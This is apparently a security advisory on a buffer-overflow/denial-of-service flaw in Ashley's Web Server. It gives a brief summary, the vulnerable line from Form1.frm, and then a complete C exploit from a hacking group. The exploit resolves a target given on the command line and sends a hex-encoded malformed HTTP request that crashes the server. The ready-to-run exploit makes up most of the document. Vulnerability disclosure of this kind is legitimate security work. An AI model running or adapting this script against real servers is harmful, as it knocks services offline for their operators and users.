[EXPL] Ashley's Web Server DoS (Exploit)

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  Ashley's Web Server DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

 
<http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=34274&lngWId=1> Ashley's "Web Server is simple open source Web Server, it supports perl CGI, directory listings, custom front pages and custom error pages".

Buffer overflow condition exists in Ashley's Web Server when a very long 
text string is passed as argument to server.

DETAILS

Vulnerability:
Currently, the server only supports GET without modification of the CGI 
scripts, although, a full range of $ENV variables are available to the CGI 
scripts (query_string, remote_addr, server_port, server_addr, etc.)

A simple URL driven denial of service or buffer overflow condition occurs 
when a very long text string is sent to the web service. By sending a 
especially crafted request to the HTTP server it is possible to cause 
server crash.

Vulnerable code (Form1.frm):
otherheaders = Mid(otherheaders, 1, InStr(1, otherheaders, vbNewLine & 
vbNewLine) - 1)

When trying to connect and send GET request ,the source debug code will 
show:
'Run-time error '5';Invalid procedure call or argument
This cause a remote machine running the web server to stop responding.

Exploit:
/*
  Ashley's Server DoS Exploit
---------------------------------
INFGP - Hacking&security Research

Resolve host...[OK]
 [+] Connecting...[OK]
Target locked
Sending bad procedure...[OK]
 [*] Server DoS'ed..that must be hurt!

 Greats: Infam0us Gr0up,Yudha(mephisthopeles),Kavling Community.
 Info: 98.to/infamous

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] = "GET  HTTP/1.0 "
"\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"
"\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"
"\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"
"\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"
"\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"
"\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"
"\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"
"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"
"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"
"\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"
"\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"
"\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"
"\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"
"\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"
"\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"
"\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"
"\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"
"\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"
"\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"
"\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"
"\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"
"\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"
"\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"
"\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"
"\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"
"\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"
"\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"
"\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"
"\x69\x6d\x61\x67\x65\r\n";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf("        Ashley's Server DoS Exploit \n", argv[0]);
printf("  -------------------------------------\n", argv[0]);
printf("    INFGP - Hacking&Security Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: localhost 80\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 80;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}

printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> eric 
basher.



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